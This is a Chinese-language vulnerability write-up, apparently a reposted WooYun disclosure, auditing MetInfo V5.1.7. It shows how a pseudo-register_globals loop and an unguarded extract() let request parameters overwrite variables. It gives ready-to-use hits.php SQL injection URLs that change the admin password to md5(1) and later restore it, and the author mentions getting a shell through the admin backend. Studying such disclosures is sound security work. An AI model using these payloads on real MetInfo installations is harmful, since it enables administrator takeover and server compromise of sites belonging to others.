版本:MetInfo V5.1.7 2013年5月23
审计一般先看核心文件。
\include\common.inc.php
中的21-28行
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS']) && exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
大概从21行程序开始使用了伪register_globals
机制。
2: 变量未初始化及extract函数使用不当。
在common.inc.php
文件随后的代码里包含了一个config.inc.php
的文件, 看名字就知道是一些初始化变量配置, 程序员将应用程序所需变量
放在了register_globals
机制之后声明估计就是怕变量被覆盖.但是config.inc.php
的一个数组$settings
却忘记了初始化.
/*读配置数据*/
$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";
$result = $db->query($query);
while($list_config= $db->fetch_array($result)){
if($metinfoadminok)$list_config['value']=str_replace('"', '"', str_replace("'", ''',$list_config['value']));
$settings_arr[]=$list_config;
if($list_config['columnid']){
$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];
}else{
$settings[$list_config['name']]=$list_config['value'];
}
if($list_config['flashid']){
$list_config['value']=explode('|',$list_config['value']);
$falshval['type']=$list_config['value'][0];
$falshval['x']=$list_config['value'][1];
$falshval['y']=$list_config['value'][2];
$falshval['imgtype']=$list_config['value'][3];
$met_flasharray[$list_config['flashid']]=$falshval;
}
}
@extract($settings);
在没有初始化的情况下又使用了extract($settings),结合前面的register_globals机制这样就导致多个变量可以被覆盖掉从而控制整个程序逻辑.
3:sql注入绕过
前面的防注入函数里可以看到替换了一些常用的关键字,使注入的难度增加了,但那仅仅只对sql语句的where之后注入有所防范。
对于可以覆盖系统变量的咋们来讲就不太管用了而且无视GPC,sql注释符也没有过滤。
为了降低攻击成本我挑了一处最容易实现攻击地方,一个update的sql语句。
在 include\hits.php的25行左右。
$query = "update $met_hits SET hits='$hits_list[hits]' where id='$id'";
覆盖掉$met_hits变量就可以update任何数据表,如修改管理员密码。
hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23
使用密码1登陆后台拿shell,再把管理员密码改回来。
hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_pass=admin_introduction+WHERE+id=1%23
修改密码
http://192.168.86.194:9000/MetInfo517/include/hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23
将密码修改为 1
metinfo多个漏洞(可getshell) --wooyun-2013-043795
What is register_globals and why is it a security risk?